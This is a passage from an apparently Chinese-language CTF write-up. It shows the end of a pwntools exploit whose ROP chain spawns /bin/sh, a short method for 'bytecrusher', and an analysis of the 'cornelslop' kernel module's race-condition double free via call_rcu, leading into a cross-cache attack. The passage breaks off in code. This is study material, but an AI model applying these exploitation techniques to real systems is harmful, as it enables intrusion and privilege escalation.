style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">20</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rsi_ret</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">20</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">28</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">28</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">30</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">mov_rdx_rsi</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">30</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">38</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rsi_ret</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">38</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">40</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">40</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rax_ret</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">59</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">syscall</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">60</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">68</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">60</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">68</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">68</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">70</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"/bin/sh</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\x00</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> bytes</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">set_message</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">set_color</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">12b3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">choose</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pause</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.send</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.interactive</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br></code></pre></div>
<h2 id="bytecrusher" class="scroll-target"><a href="#bytecrusher"><code class="hash inline-code">#</code>bytecrusher</a></h2>
<p>远程可以先泄漏 16 字节，先泄漏 canary，再泄漏一个 pie，然后正常 rop 就可以。</p>
<h2 id="cornelslop" class="scroll-target"><a href="#cornelslop"><code class="hash inline-code">#</code>cornelslop</a></h2>
<p>条件竞争 kernel pwn 题目，之前一直不太会调这类 race 题，借着这次机会好好学习一下。</p>
<p>首先看一下题目源码，漏洞点主要在这里</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cornelslop_entry </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint32_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> id;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> va_start;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> va_end;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint8_t</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> shash</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">SHA256_DIGEST_SIZE</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rcu_head rcu;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">static</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> int</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> check_entry</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cornelslop_user_entry </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">ue</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint8_t</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> shash</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">SHA256_DIGEST_SIZE</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cornelslop_entry </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">e;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    e </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> xa_load</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cornelslop_xa, ue-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">id</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">e</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        return</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ENOENT;</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    pr_info</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"🤖 Verifying </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%u</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> with SOTA slop in space 🤖</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, ue-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">id</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> sha256_va_range</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">e-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">va_start, e-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">va_end, shash</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ret</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        goto</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> finish;</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    ue-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">corrupted </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> memcmp</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">e-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">shash, shash, SHA256_DIGEST_SIZE</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">corrupted</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        xa_erase</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cornelslop_xa, ue-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">id</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        destruct_entry</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">e</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        pr_info</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"🤖 HUMAN TAMPERING DETECTED, this incident will be reported 🤖</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">finish:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ret;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br></code></pre></div>
<p><code class="inline-code">check_entry</code> 函数会调用 <code class="inline-code">sha256_va_range</code>，如果计算结果和 <code class="inline-code">add_entry</code> 中的 <code class="inline-code">shash</code> 不一致，就会调用 <code class="inline-code">destruct_entry</code> 删除该 entry。</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">static</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> inline</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> void</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> destruct_entry</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cornelslop_entry </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">e</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    call_rcu</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">e-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">rcu, destruct_entry_rcu</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br></code></pre></div>
<p><code class="inline-code">struct rcu_head</code> 是 Linux 内核中用于实现 RCU（Read-Copy Update）机制的结构体，它包含一个函数指针 <code class="inline-code">func</code>，用于在 RCU 回调中调用。源码在<a href="https://elixir.bootlin.com/linux/v6.12.69/source/include/linux/types.h#L242" title="https://elixir.bootlin.com/linux/v6.12.69/source/include/linux/types.h#L242" target="_blank" rel="noopener">这里</a></p>
<p><code class="inline-code">call_rcu</code> 的源码在<a href="https://elixir.bootlin.com/linux/v6.12.69/source/kernel/rcu/tree.c#L2572" title="https://elixir.bootlin.com/linux/v6.12.69/source/kernel/rcu/tree.c#L2572" target="_blank" rel="noopener">这里</a>，本质调用了函数指针 <code class="inline-code">rhp->func</code>。</p>
<p>注意到 <code class="inline-code">check_entry</code> 这里完全不检查 double free，所以可以通过对一个 victim entry 进行两次 <code class="inline-code">destruct_entry</code>，由于 <code class="inline-code">call_rcu</code> 本质上是调用结构体里的函数指针，如果可以在这两次 <code class="inline-code">destruct_entry</code>（也就是这道题目的 race 窗口）期间把 victim entry 申请回来，那就可以 hijack rip 了。</p>
<p>思路大概是这么个思路，实现部分还是有很多细节的。</p>
<h3 id="cross-cache-attack" class="scroll-target"><a href="#cross-cache-attack"><code class="hash inline-code">#</code>cross-cache attack</a></h3>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cornelslop_entry_cachep </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> KMEM_CACHE</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cornelslop_entry, SLAB_PANIC </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> SLAB_ACCOUNT </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> SLAB_NO_MERGE</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br></code></pre></div>
<p>很显然这道题目如果想实现“把 victim entry 申请回来”，必须需要利用 cross-cache attack。</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> MAX_LEN</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">256</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1024</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1024</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> SIZE</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAX_LEN</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> OBJECTS_PER_PAGE</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 56</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // 一页最多能放 56 个对象，每个对象 0x48</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> MAXN</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span 